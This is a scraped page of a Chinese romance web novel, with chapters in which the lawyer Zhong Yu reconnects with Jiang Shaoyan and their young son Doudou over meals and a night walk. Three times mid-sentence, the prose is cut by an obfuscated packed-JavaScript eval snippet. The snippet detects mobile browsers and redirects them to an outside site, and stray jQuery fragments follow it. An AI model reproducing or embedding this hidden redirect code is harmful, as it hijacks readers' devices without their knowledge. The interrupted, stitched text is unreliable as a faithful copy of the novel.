蒋绍言倾身过去,看清那张照,似乎想起什么趣事,未语就先笑了。笑声低沉磁性,在这安静的夜里格外勾人,钟虞的心莫名一动,抬头,就看到了蒋绍言英俊带笑的脸。
位置对调,这回看相片的人换成蒋绍言,而钟虞成了看他的人。
重逢之后,钟虞第一次这样近距离面对蒋绍言,淡黄的光线覆在蒋绍言脸上,还是那么英俊,眉眼深邃,时间似乎在蒋绍言身上留下了痕迹,又似乎没有。
蒋绍言的一切都叫他觉得熟悉,熟悉的模样,熟悉的气息,熟悉的感觉,不同的大概就是更加内敛沉稳的气质,强势有压迫感的气场,以及有时看过来的,深邃却叫人难以捉摸的眼神。
理智是抗拒的,但身体反应骗不了人,就好比现在,蒋绍言倾身靠过来,早已超过了钟虞定义的安全距离,脑中警铃大作,然而身体却渴望靠近,近一点,再近一点,尤其在这个情绪起伏的夜晚,他似乎格外渴望蒋绍言的安抚。
他想,或许因为以前有太多孤独无助的时刻,都是蒋绍言陪伴在他身边,所以形成了某种条件反射,也可以叫上.瘾性依赖。
既然是瘾,那就该戒掉。
钟虞收回了投在蒋绍言身上的视线,不动神色地将身体往后,同他拉开了距离。
蒋绍言何许人,一下便察觉,眸色顿时一沉,然而脸上笑容不减,仿佛无事发生,他直起身,嘴角含笑地跟钟虞讲这张照片背后的故事。
原来有一次蒋兜兜跟蒋绍言闹脾气,玩离家出走,自己气夯夯跑到楼下,东张西望一番,最后也没敢走远,就在小区里逛了一圈,逗了邻居家的狗,趴在水池边看了一会儿小鱼,又蹲在地上把蚂蚁的窝搅乱,最后在太阳下山前不情不愿自己回来了。
这张照片就是蒋绍言跟在他后面偷拍的。
“离家出走?”钟虞失笑,“他那时多大?”
蒋绍言回忆:“四岁多点,就是去年秋天的事,你看池塘旁边的树叶都变黄了。”
“为了什么呢?”钟虞又问,他实在好奇。
蒋绍言继续回忆,这回真是有些记不清了,小崽子脾气大,被蒋西北惯得无法无天,有段时间三天两头跟他闹:“大约我没给他买玩具吧,他在你面前乖,其实脾气大得很。”
钟虞也发现了,不由莞尔,继续往后翻,翻着翻着他突然想到一个问题,于是停下看蒋绍言。
还在想是否该问,蒋绍言似乎看穿他,先一步说:“有什么想说的尽管说。”
钟虞同他对视,思量之下还是决定问出来:“兜兜说他看过一张我的照片……”
刚才在房间,蒋兜兜把想问的都问了,钟虞毫无保留全告诉了他,同时钟虞也问出心里一直奇怪的问题,他问蒋兜兜为什么在那天宴会上会突然跑来抱住他。
“你是怎么认出我?”
蒋兜兜喃喃跟他说,因为一张照片。
钟虞还想再问,蒋兜兜已经闭上了眼睛,心里的疙瘩解开,又痛快哭了一场,蒋兜兜疲惫至极,跟钟虞说话都是闭着眼的,渐渐就没了声,睡着了。
钟虞想,如果有照片也只能是从蒋绍言这里看到的,不如问蒋绍言。
蒋绍言听完难得沉默了一会儿:“的确有这么一张照片。”
钟虞随即便想问什么照片,他不记得自己给过蒋绍言照片,蒋绍言仿佛再一次看透他,漆黑的眼眸看过来,直接又坦荡地说:“但这照片是我十分重要的私人物品,恕我并不想展示,希望你能理解。”
钟虞的神经被“十分重要”四个字挑动,抿着唇同他对视了片刻:“好。”
相册厚厚的一本,钟虞看得仔细,花了不少时间,快看完的时候蒋绍言突然起身,钟虞看得专心并没注意,之后听动静才意识到蒋绍言是去了厨房。
他转身看去,正看到蒋绍言站在料理台前,背影高大,尤其那双平直的肩膀看起来尤为宽阔。他身前系着围裙,正低头在案板上切菜。很快,抽油烟机响了起来,接着是热油下锅炒菜的声音。不多时,香味便飘了出来。
钟虞收回视线继续看相册的最后两页,同时也觉得有点饿,一只手按在了上腹。他晚饭没吃就赶过来,跟蒋兜兜说了那么久话,情绪激动的时候感觉不到,现在平静下来,是真觉得有点饿,饿得有些难受了。
相册看完,钟虞合上,有些不舍地轻轻摩挲封面,之后就搁在茶几上,起身也站起来。
刚好蒋绍言端着两盘菜从厨房出来,见状说道:“看完了?你先等等,我再煮个面,很快就好。”
这话说得无比自然,仿佛钟虞根本不是第一次登门,两人不是时隔六年再见半生半熟,而是钟虞合该就要在这儿吃饭,在他蒋绍言的地盘吃他蒋绍言做的饭,天经地义理所当然。
说完,蒋绍言即转身走回厨房,速度很快,钟虞连句话都来不及说。
原地站了半晌,钟虞想算了,蒋绍言做都做了。
但其实以钟大律师的个性,要真不想吃,拿枪逼他都不见得会松口,更不会考虑情面这种东西。
钟虞还站在原地,视线也没从蒋绍言身上收回来,因为他注意到蒋绍言身上的围裙,图案是只黄色鸭子,跟他脚下的拖鞋一样。
回想刚才在蒋兜兜卧室,小孩儿的拖鞋也是一模一样的图案,一只嘴巴扁扁的黄色矮脚鸭。
照钟虞往常冷淡的性格,是绝不会觉得这鸭子可爱的,走在大街上路过也不会浪费时间看一眼。但不知道是不是怀孕带来的荷尔蒙改变,在他怀着蒋兜兜那段时间,竟然疯狂觉得这鸭子特别可爱。
有次跟蒋绍言出去吃饭,路过一家盲盒店,他不过在经过橱窗时多扭了两次头,蒋绍言就给他买了一个回来,之后更无数次用这个理由诱惑他出门,每次都说:“总在家闷着也不好,走吧,我带你去抓小鸭子。”
那阵子流行收集盲盒,而那套盲盒一共12只不同造型的鸭子。钟虞有强迫症,一旦开始就想集齐全套,所以一次次被蒋绍言忽悠出门。
但直到最后他离开,好像一套还没有集全,总是差了最后那一只。
从厨房传出的声音将钟虞从过去的画面中拉回,他听蒋绍言问他:“还是吃煎蛋?”
钟虞愣了愣,“啊”一声,嘴唇微微张着,那张淡漠干练的脸上难得出现茫然的表情。
蒋绍言从厨房探身,见状笑笑,语气十分温和地又问一遍:“还是吃双面煎蛋好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14472557|153671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不好?”
钟虞本人不太注意饮食,或者说不愿在吃东西上浪费时间,能吃就行,能吃饱就行,但这不代表他没有喜好。
然而他虽然有喜好,但自己却也说不出来,问就是都行,蒋绍言一度为之苦恼,之后不动声色观察,看哪道菜钟虞会多动筷子,看哪种做法钟虞吃得更多,由此推断他喜欢什么。
比如水煮蛋,钟虞也能吃,但吃得很慢,脸上也没什么表情,就是机械地进食,而如果换成煎蛋,他就会嘴角微微上翘,吃得很快,而且会把盘子里煎得有些焦黄的蛋白都挑起来吃掉。
钟虞说行,都行。
蒋绍言其实问不问都知道是这个回答,他只不过找个由头跟钟虞说话,省得对方不知道站在那里发什么愣,看着冷淡要强的一个人,在生活上却稀里糊涂,傻傻的,可爱得要命。
蒋绍言旋即又回厨房,利落地烧水煮面,不多时端出来两碗香喷喷的面,分别卧着煎得焦黄的鸡蛋和几根绿油油的菜心。
除了面,蒋绍言还快炒了一道微辣的小炒黄牛肉和芹菜香干,都是以前钟虞吃得可口的。他将围裙脱下搭在椅背上,冲钟虞说:“冰箱里没什么菜,今天有点简单了,等下次……”
下次什么?钟虞的心微微一动,蒋绍言却戛然而止,只朝他深深地看了一眼。
两人在餐桌对坐,开始谁都没说话,钟虞便开口打破沉默。既然现在跟蒋兜兜把一切说开,他就想尽量多些跟小孩相处的时间,想跟蒋绍言商量:“当然,我会尽量不打扰你和兜兜的正常生活。”
这么说是他怕蒋绍言以为他起了别的心思,或者蒋绍言会有其他顾虑,易地而处他都能理解。谁料蒋绍言很快说:“不用,你想见他随时都可以。”
钟虞一怔。
蒋绍言停筷看他,说:“你是生他的人,你有这个权利。”
等一会儿不见钟虞开口,蒋绍言又继续说:“你不是问过我兜兜为什么叫这个小名吗?你刚才在他房间有没有看到那个红色小布兜?”
钟虞点头,声音很轻:“看到了,在他枕头底下。”
蒋绍言搁下筷子,身体向后靠着椅背,神色变得郑重,看着钟虞说:“他两岁的时候生过一场病,在监护室里住了小半个月一直不见好,有次我去看他,把那个红色布兜和里面的挂坠一起拿给他。”
说着说着,蒋绍言突然笑了:“你可能不信,但他当时突然就睁开眼睛,嘴巴也张开,咿咿呀呀的,因为戴着氧气罩所以我听不清他说什么,就看见他的手抬起来拼命想要抓住那个布兜。”
钟虞不知道还有这段往事,心脏顿时揪紧,神色变得凝重。
蒋绍言说:“我就把布兜给他了,他紧紧抓在手里。后来医生再用药,效果突然间变得很理想,恢复速度很快,没两天就转普通病房,一星期后就出院了。”
说着蒋绍言顿了顿,特意往钟虞看了一眼:“这期间他一直攥着那个布兜,谁去拿都不松手,来硬的就跟你龇牙,凶得很。有个医生就逗他,喊他说你怎么天天攥着个布兜兜,他就笑得特别开心,也跟着学说兜兜兜兜,从那之后我干脆就叫他兜兜了。
之后那挂坠就被他自己戴到身上,小布兜也一直压在枕头底下,宝贝得很,谁碰都不行。”
钟虞心里五味翻腾,双手在桌子底下紧紧绞在一起。
蒋绍言体贴地给他两分钟消化,又话锋一转说起另一件事:“你是不是注意到拖鞋了,你和他的拖鞋,还有我这件围裙上面的图案,都是这只鸭子?”
钟虞猛地抬头。
蒋绍言说:“这是我带他去超市,他自己选的,那么多图案里就认准这一个,怎么都不肯换,就要买这个图案,说实话我当时都觉得震惊。”
一向能言善辩的人仿佛一下子失去了语言能力,钟虞一个字也讲不出来。
蒋绍言盯着他看了一会儿,目光突然间变得十分幽深且锐利,他倾身向前,手臂撑在餐桌边缘,喊他名字:“钟虞。”
钟虞微微一震,抬头正对上蒋绍言的眼睛。
蒋绍言的视线隔着餐桌直直射来,凌厉且有压迫感,他说:“我不知道该如何解释这些事,或许是因为血缘,或许是其他原因,但我想跟你说的是——”
蒋绍言突然又停顿,钟虞抿唇看他,因为太用力,唇色微微发白。
空气中仿佛有根弦在无声拉长,绷紧。两人隔着餐桌对视数秒,蒋绍言才缓缓开口:“我不信玄学,但不可否认,有些事就是冥冥之中早已注定,这就是命运。”
“钟虞,你和我,”他说,“我们挣不开,更逃不掉。”
蒋绍言一字一顿,带着十足笃定,像在说这件事本身,又像在说其他,钟虞心头大震。
24.圆月亮
气氛一瞬静止。
钟虞坐在椅子上,双手紧握,同蒋绍言针锋相对地彼此注视。
一秒、两秒……蒋绍言看着他,很快,眉目间锐利锋芒又尽数收敛,变回低声温和:“快吃饭吧,待会儿凉了。”
仿佛在这场眼神交锋中主动认输。
钟虞却没有得胜的喜悦,慢慢提起筷子,一顿饭吃得食不知味。
碗筷有保姆第二天来收,蒋绍言搁进洗碗池,擦着手走出来,正看到钟虞在看表。
他有心留人,但也深知欲速则不达,于是在钟虞提出要走后,缓缓一点头,说:“我送你。”
钟虞立刻道“不用”,他和蒋绍言什么关系,怎么可能让他送,何况蒋兜兜一个人在家,他也不放心。
蒋绍言知道他担心小崽子,淡淡说:“没事,他睡着了一般不会醒,就算醒了也没关系,他比你想象得要独立。况且小区安保很严,我还单独装了警报系统,不会有人进来。”
钟虞还是不放心,抿唇严肃地看着蒋绍言,眼神发出无声指责。
蒋绍言同他对视,基于对钟虞的了解,知道今天是不可能送人了,只得默默叹声气,把拿起的车钥匙又放下,不过外套还穿在身上,说:“不送你回去,送你下楼看你上车,好不好?”
最后三个字,说得极轻极柔,声音低得像哄。
钟虞抿抿唇,说不出拒绝,只觉得像过去那样又轻而易举被蒋绍言拿捏,心里不大爽快。
搭电梯到楼下,往外走的时候钟虞在手机上叫车,大城市就这点好,不论多晚都有司机迅速接单。
蒋绍言在旁边说:“截个图,把车牌发我。”
钟虞面无表情,心想他又不是三岁小孩,蒋绍言难道还怕他坐个车就被人拐跑了?
蒋绍言太清楚他在想什么了,不由笑笑:“我知道,只是时间太晚了我不放心。”
钟虞没说什么,他并非不识好歹的人,曲起手指在屏幕上扣了两下,把那张包含车号信息的订单截了下来。
然而短信好像发不了图片,钟虞找了半天也没弄明白怎么发,蒋绍言在旁边看他胡乱捣鼓,突然又笑了笑,拿出自己手机点开微信二维码递过去,说先加微信再发。
两人已经走到小区门口,正等车来。入夜后的街区安静得很,头顶一排路灯照明。
光线似乎太亮了,钟虞抬头,才发现今天的月亮异常大异常圆。
随后他又低头去看蒋绍言的手机,但迟迟没动。蒋绍言问:“回国这么久还没微信?没下载吗?”
钟虞手机里一直有微信,跟国内还有一些国外客户联系也会用,但他不知道怎么了,就是不想蒋绍言说什么就听什么,先无声看了蒋绍言一眼,随后淡淡说:“车号告诉你就行了吧,用不着加。”
蒋绍言的手却没收回去,仍笔直地伸着,看着钟虞问:“加个微信而已,钟虞,你在顾虑什么?”
想激我?钟虞表情迅速冷了几分,正要发作,蒋绍言又来一句:“就算这次不加,以后我给你发兜兜的照片或者视频总还是要加。”
蒋绍言总有本事把话说得叫人无法拒绝,钟虞点开微信,加了蒋绍言好友,手指重重点在屏幕上,泄愤似的把那张截图甩了过去。
蒋绍言低头看一眼:“嗯,收到了。”
一时无话,不知怎地,钟虞又抬头去看那月亮,这回蒋绍言也抬头同他一起看,钟虞目光偏移,就见他身姿挺立嘴角微勾,像是笑了一下,心情仿佛很好。
车在这时到了,钟虞硬邦邦丢下一句“再见”便上车,故意不去看蒋绍言,但等上车后,车往前开,他又忍不住去看侧视镜,就见蒋绍言还站在原处,小区门口那排路灯下,遥遥目送他离开。
到酒店,钟虞刚下车,蒋绍言的信息就过来了,问他到了吗。
钟虞直到进房间才回:【到了。】
蒋绍言很快回:【好,早点休息,晚安。】
钟虞扫一眼,不打算回了,随手将手机扔床上,脱掉外套挂进衣帽间里。从衣帽间出来,他又看一眼床上孤零零扔着的手机,站在床边想了想,拿起来,快速回了【晚安】过去。
之后便进浴室洗澡。
水声哗啦,蒸腾起一片白雾,钟虞脱光了站在花洒下头,往身上抹沐浴露的时候,手碰到了下腹的一道伤疤。
陈年旧疤,长长的一条横亘在下腹,颜色已由最初的艳红变淡,几乎跟肤色差不多。
平时洗澡时不可避免会碰到,但碰到之后钟虞都会快速略过,但今天他停下来,指腹在那道凸起的瘢痕上摩挲了两个来回,然后在一片水雾中低下头。
他在看那道疤。
他在想蒋绍言的那句话。
或许有些事真的就是冥冥之中早就注定,挣不开,逃不掉。就像这道疤,虽然随着时间会变浅变淡,但烙印一直都在。
经过热水冲刷后的皮肤更加润泽,白里透红,钟虞黑发红唇,一举一动皆是风情。从浴室出来,自己也讲不清为什么,捡起手机又看一眼。
没新消息。
盯着屏幕看了几秒,鬼使神差,钟虞做了一件平常不会做的事——他点进了蒋绍言头像去看他朋友圈。
蒋绍言恰好刚发了一条,是张月亮的照片,就是刚才他们等车时站得那个地方拍的,不知道蒋绍言怎么拍的,感觉离天空很近,拍出来的月亮圆润清晰。
只一张图,没有文字。
钟虞不禁再次纳闷,为什么今天的月亮会这么圆?
他走到窗边将厚重的遮光窗帘拉开,又看到了那深邃的夜空里挂着的皎洁圆月,明明不是十五中秋,却似乎比那时还要更亮更润更圆。
淡淡清辉洒下,轻拂在钟虞仰起的面庞,似乎是在告诉他——月圆,人团圆。
*
那天过后,蒋兜兜又开始每天去钟虞律所报道,坐着他的迈巴赫,提前一个路口打电话,到了之后就会看到钟虞站在楼下等他,然后飞奔过去,一头扎进钟虞张开的怀抱里。
“小虞儿,我好想你啊。”
明明天天见,蒋兜兜每次见面第一句话总是这个,边说还边用毛绒绒的脑袋蹭钟虞脖子,蹭得钟虞心里麻酥酥,一把将蒋兜兜抱起来然后说:“我也想宝贝兜兜。”
钟虞不是个纠结的人,一旦想明白,说开了,他就会立刻付诸行动,在蒋兜兜身上就体现为无底线的宠,恨不得一口气把这些年的空缺都补偿回来。
蒋兜兜惯会顺杆爬:“那能亲亲吗?”
钟虞立刻在他脸上重重亲了两下,左边右边各一下。
蒋兜兜脚不着地,真感觉自己身在云端,紧紧搂着钟虞脖子:“小虞儿我好爱你。”
钟虞立刻说:“我也爱你,宝贝。”
看来有些事真的就是本能,钟虞从没想过有一天他会说出这样的话,但他说出来了,说得无比自然,发自真心,一点不觉得肉麻,只觉得语言实在太浅薄,怎么说都无法完全表达他对蒋兜兜的爱。
父子两个腻腻乎乎,连司机都看不下去,半途就回车上坐着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14483720|153671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。钟虞就这样抱着蒋兜兜走进楼里,等电梯的时候恰好老陈从里头走出来,见钟虞抱着蒋兜兜,脸上还笑意盈盈的,顿时面露惊讶。
“你这是……”
钟虞跟蒋兜兜说:“叫叔叔。”
“叔叔好!”
“哎哎,你好你好。”老陈笑容有些不自然,疑问的目光投向钟虞,摆明问什么情况。
钟虞没答,跟老陈错身,抱着蒋兜兜走进电梯,电梯门关上的时候,蒋兜兜还挥手跟老陈拜拜。
钟虞不说自然有顾虑。
蒋兜兜是蒋绍言的儿子,蒋绍言低调,也很保护蒋兜兜的信息,但知道的人毕竟也不在少数。蒋兜兜频繁来找自己,连老陈都有疑惑,有心之人自然更会关注,钟虞担心万一有人去调查自己和蒋兜兜的关系该怎么办。
天生心思细加上职业原因,钟虞考虑得比较多,蒋绍言身份摆在这里,商场上尔虞我诈波谲云诡,一个不起眼的细节都可能成为对手攻击的焦点,他怕对蒋绍言有不利影响。
因为他深深知道,即便在之后相当长一段时间里他都在努力修正,但他和蒋绍言的开始并不那么光彩,至少对他来说是这样。
隔天一早钟虞就用新加的微信联系蒋绍言,说想谈谈。蒋绍言回复得倒是迅速,但白天日程排满了没空,只有中午有半小时午饭空闲。
所以中午钟虞就又去他办公室,谭朗拿了两份套餐上来,两人坐在沙发上边吃边说。
听完钟虞的顾虑,蒋绍言回答他:“你和兜兜的关系,该怎么说就怎么说,想怎么说就怎么说,如果有人要查那是我的问题,你不需要操心。”
既然蒋绍言这么讲,钟虞也无话可说,夹一筷子辣炒八爪鱼配米饭咽下,除了八爪鱼还有一道同样微辣的土豆煨牛肉,一道一看就清新爽口的白灼油麦菜,还有一例润肺去燥的雪梨银耳汤,每一道都很合他胃口。
他以为是搭配好的套餐,却不知道这些菜都是蒋绍言看过食堂窗口今日份菜单后,亲自拿笔一个个勾出来的。
吃过辣椒的嘴唇鲜红湿润,钟虞低头专心吃饭,偶尔伸出舌头舔一舔,没注意对面人深沉的眼睛。
直到蒋绍言问他:“你会这么想,我是不是可以理解为你在担心我?”
虽然是事实,但钟虞怎会承认,他抬起头不带情绪地看着蒋绍言然后说:“过度解读不是个好习惯,蒋总。”
这句话不知道哪个字触动了蒋绍言的笑点,英俊的男人突然间笑得停不下来。
若是郝家明在,看到一向冷峻威严的老板笑成这样,一定会眼瞏瞏到大呼震惊。
钟虞也莫名其妙。
在那双漂亮的眼聚起怒意之前,蒋绍言见好就收,及时止住了笑,然而眼睛却还是弯的。蒋绍言觉得挺冤,钟虞从未称呼过他“蒋总”,头一次听,觉得新鲜,更多是觉得可爱。
从前他就觉得钟虞像只猫,漂亮,冷淡,倔强,要强,不服软不服输,主意也大得很,但其实糊里糊涂不懂照顾自己,而且一逗就炸毛。
他承认第一眼是被钟虞出色的外表和不同凡响的出场方式吸引,之后越接触就越了解,越了解就越难以放手。他喜欢逗他,更喜欢哄着他,宠着他,甚至当初钟虞坚持要走,也只是心疼他,由着他,尊重他。
蒋绍言握拳抵在唇边,假装咳嗽清嗓,说:“对不起我的错。”
随后他便拿起钟虞手边那盅汤,掀开炖盅上的盖子,递到钟虞面前,用实际行动赔罪,低声哄道:“别生气,给个面子尝尝。”
25.香蕉船
转眼又到周五。
一整天,钟虞都泡在会议室里同郝家明周旋,越接触他越发现郝家明就是个笑面狐狸,看着笑嘻嘻不着调,实际精明得很,不过好在协议磋商接近尾声,只剩最后几项关键条款,而郝家明死咬不放,让钟虞颇为头疼。
因为不在律所,所以这天蒋兜兜直接来蒋绍言公司,到了蒋绍言办公室见钟虞不在,就要冲出去找他,被蒋绍言拽着后脖领给拉了回来。
那天谈过,吃完饭,钟虞在离开前最后表示,他还是想尽量低调,蒋绍言记得钟虞原话是“我待不了多久就要回去,没必要招惹不必要的麻烦”。
蒋绍言当时看着他的眼睛问:“你觉得这对你来说是麻烦?”
钟虞表情不变,依旧冷冷淡淡,回他:“除了过度解读,断章取义也不是个好习惯。”
蒋绍言盯着他,钟虞站在他面前,身量如竹,面庞似玉,黑发黑眼,模样有多招人喜欢,那张红艳艳的嘴唇里吐出的话就有多气人。
他恨不得箭步上去将那张嘴狠狠堵上。
他差点忘了,在气人方面,钟虞一向擅长。
蒋绍言想说“回去?回去哪儿?你确认你回得去吗”,然而互掷气话除了让关系变僵起不到一点好处,所以蒋绍言当时选择闭口不言,任钟虞转身走了。
但不可否认,两人有点不欢而散的意思。
蒋绍言对蒋兜兜说钟虞很快就来,让他老实待着。蒋兜兜从蒋绍言语气里嗅到一丝不爽,不敢再造次,看似老老实实坐在沙发上,实则心里记下一笔,等钟虞来了他一定要告状!
五点刚过,郝家明就叫停,笑眯眯说今天就到这里,又用粤语大呼周末愉快,整间会议室的人都呼应他。
钟虞不紧不慢收拾着面前一堆散乱文件,表情淡淡的,老陈要回所里,说捎他一程。钟虞刚收到蒋绍言信息,知道蒋兜兜就在楼上他办公室,就说有事叫老陈先走。
老陈看他的眼神满是狐疑。
磨磨蹭蹭到最后,钟虞还特意去趟洗手间,出来后外头终于没人了,他才去按电梯,掏出一张电梯卡来。
那日的事还有后续,他呛过蒋绍言,转身就走,到门口看到谭朗,想到一件事,于是又折回,跟蒋绍言说下次他再上来就不要谭朗去接了。
谭朗连着两次出现在会议室门口等他,不仅老陈,连郝家明看他的目光都充满探究。
“不去接你怎么上来?”蒋绍言说。
钟虞听他语气僵硬,知道是生气了。西北集团内部电梯都要刷卡,而到蒋绍言这一层的电梯卡又跟普通的不太一样,大概是一定级别以上的高管才能有,钟虞于是问:“能给我一张电梯卡吗?”
“电梯卡都是专人专用,办起来不算费事但也不容易。”蒋绍言没好气,“你不是待不了多久,确定要这么麻烦?”
到底还是不吐不快,将他说的话原封不动奉还,钟虞心里发笑,心想小气鬼。不过小气鬼就算冷眉冷眼还是英俊得很,钟虞不动声色欣赏两秒,心想不给就不给吧,转身要走,蒋绍言又突然叫住他。
蒋绍言拉开抽屉拿出个东西,之后阔步走到他面前,牵起他一只手。钟虞愣了愣,就见蒋绍言将他手掌向上摊开,将那薄薄一片电梯卡塞进他掌心,之后一手托着他的手背,另一只将他手指轻轻拢上。
手背贴掌心,钟虞完全忘记反应,只觉得蒋绍言的手烫得厉害,皮肤粗糙,细微的摩擦也带来叫人战栗的麻意。
蒋绍言垂眼看他,低声说:“别丢了,丢了找你赔。”
此刻电梯上升,那片半个手掌大小的电梯卡被钟虞捏在指间,那对漂亮的眼睛微微眯起,当时被触碰的感觉一直停留在皮肤上,两天过还挥之不去。
钟虞忍不住低骂了一句跟郝家明学的新词儿:“痴线。”
电梯到,钟虞也收拾好情绪,穿过走廊走向尽头处蒋绍言办公室,还没到门口,门突然从里面打开,蒋兜兜冲出来一把抱住他。
蒋兜兜还是那套“小虞儿我好想你”,钟虞把他抱起来说“我也想你”,然后在左右两边脸上各亲一下,又问“饿不饿,去吃饭吗”,接着就见蒋绍言从办公室里走出来,意味不明地朝他看了一眼。
钟虞要低调,蒋绍言虽然恨不得向全世界宣告,但还是尊重他的意思,今天给助理秘书通通放假,所以这层一个人也没有,现在他也准备给自己放假。
关灯锁门,外套搭在臂弯,蒋绍言正要问去哪儿吃,就见钟虞一脸莫名地朝他看,登时明白钟虞的想法。
敢情这人根本没打算带他一起吃。
蒋绍言顿时好气又好笑,说:“我也有嘴,我也会饿,钟大律师好心赏口饭吧。”
讨饭还那么理直气壮,钟虞斜他一眼,转身的时候却笑了。
下楼是坐蒋绍言专用的那部电梯,蒋绍言直接按到车库,中途不停。专用电梯当初设计没那么大,两个大人一个孩子有些挤,蒋兜兜刚进去就说怕怕,要钟虞抱抱。
蒋绍言冷眼看他发嗲,就见钟虞还真把人抱起来,蒋兜兜靠在钟虞身上冲他爹得意地摇头晃脑。
蒋绍言用眼神命令:下来。
蒋兜兜冲他吐舌头:我不。
父子俩眼神过招,钟虞察觉不对,转头疑惑地朝蒋绍言看。
蒋兜兜的眼睛偏圆,而钟虞眼睛偏细长,但仔细看,两人的眼睛又有七八分相似,瞳仁漆黑,而且都十分清澈明亮。
此时那两双相似的眼睛同时看来,一个可爱狡黠,一个灵动神韵,蒋绍言速速败下阵来,心中叹息,垂眉顺目地看了眼钟虞手里还拎着的鼓囊囊公文包,说:“不重吗,我帮你拎吧。”
说罢就自发伸手去拿,过程中不免碰到手指,两人又同时抬头,无声地对望了一眼。
蒋绍言嘴上说讨口饭,但不会真让钟虞请,怎么说也是一家三口第一次一起吃饭,他早就提前订好餐厅。
到餐厅,在服务生指引下进去包间,包间宽敞,一整面落地玻璃,正对穿过岚城的那条河,夜幕降临时景色很美。
落座,蒋绍言坐长桌一边,钟虞带蒋兜兜坐另一边,当真是一家三口的既视感。蒋绍言静静感受着这一刻,嘴角微扬,点菜时语气都比平时温和,点的都是这家招牌。蒋兜兜也在对面翻菜单,字不认得就看图,翻到最后突然指着一张图片说:“我想吃这个。”
蒋绍言看去,太阳穴顿时一跳,蒋兜兜指的是个冰淇淋。
蒋兜兜知道他肯定不会同意,所以是对钟虞说的,晃着钟虞胳膊撒娇卖乖:“小虞儿你看,这个好漂亮哦,像不像个船,上面有奶油有小伞还有彩色的糖,我想要这个。”
小崽子精得很,绝口不提还有三个冰淇淋球。
钟虞认得这东西,叫香蕉船,他小时候就看到过,没想到这么多年过去餐厅里竟然还有。
钟虞下意识去看蒋绍言,蒋绍言板着脸明显不赞同。
钟虞又去看蒋兜兜,蒋兜兜眨巴着眼,天真无辜。
“……”
钟虞最后败于那双水汪汪的圆眼下,他也知道现在这个天气吃冰淇淋不合适,但实在不忍拒绝蒋兜兜,于是倾身向前去跟蒋绍言打商量:“要不点一个?就叫他吃一个球,剩下的我吃,我还没吃过这个。”
“你没吃过这个?”蒋绍言愣了愣,“你怎么不跟我说?”
“跟你说什么?”钟虞纳闷,他没吃过的东西多了去了,难道都列出来跟蒋绍言说?
蒋绍言表情变得有些复杂,看了钟虞一会儿,对服务生讲:“上两份香蕉船。”
这回轮到钟虞愣了:“点两份干什么?”
蒋绍言说:“你单独吃一份,兜兜吃一份,吃不完剩下的我来吃。”
蒋兜兜听他爸说点两份,正要欢呼,又听蒋绍言这话,顿时扁嘴:“爸爸你好狡猾,这样你可以吃我的又可以吃小虞儿的,是你想吃两份。”
蒋绍言才不管他怎么说,菜单一合,就这么定了。
等前头的菜上完,那两份万众瞩目的香蕉船终于上桌。
钟虞以前只看过但没吃过,那时家里条件尚可,但他明白自己其实是寄人篱下,要仰人鼻息,因此早慧且懂事,从不提过分的要求。
但不提不代表不喜欢,不想要。
今天这一遭,倒像是要弥补小时候的遗憾了。
思绪跑远,钟虞强行拉了回来,对着满满当当的香蕉船有点不知道怎么下口,就去看旁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14496819|153671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
边的蒋兜兜。
蒋兜兜满脸兴奋,他想吃这个很久了,先把插在上头的小纸伞拔掉,嗦嗦伞柄上的冰淇淋和奶油,再用小勺子连着饼干碎和糖粒挖一大勺送进嘴里。
钟虞于是学他,也先把伞拔掉,然后歪着头,伸舌头去舔。奶油混着香草冰淇淋,甜滋滋的在嘴里融化,立刻就将方才回忆的苦涩压了下去,钟虞不由笑了,一抬眼,就见蒋绍言好整以暇地坐在对面看他,脸上也笑着。
不是嘲笑,而是十分温和的笑,带着无限纵容与宠爱。
钟虞感到一阵面红,这副吃相叫蒋绍言看到,但他绝不会表现出来羞赧来,也直直地回视蒋绍言,用眼神逼退他的眼神。
蒋绍言却一直看他,一直看他,目光柔和深长,仿佛窗外那条绵延流淌的江河,不知所起,却一往而终。
对视不知多久,钟虞渐渐地受不住了,本该针锋相对的对视不知何时变了味,变得缠绵粘腻,就像嘴里的奶油。
钟虞率先转过视线。
然而到底有些不甘,钟虞低头舀一勺冰淇淋,含在嘴里的时候嘟囔一句“痴线”。
这两个字蒋绍言显然听懂了,没忍住发出一声笑。
最喜欢的草莓味吃完,蒋兜兜正欲向第二喜欢的巧克力球下嘴,就被蒋绍言无情叫停。
随后,一只邪恶的大手从对面伸来,把他那只香蕉船拖了过去。蒋绍言三两口草草解决,然后擦了擦嘴。如果蒋兜兜会用成语,一定说他暴殄天物!
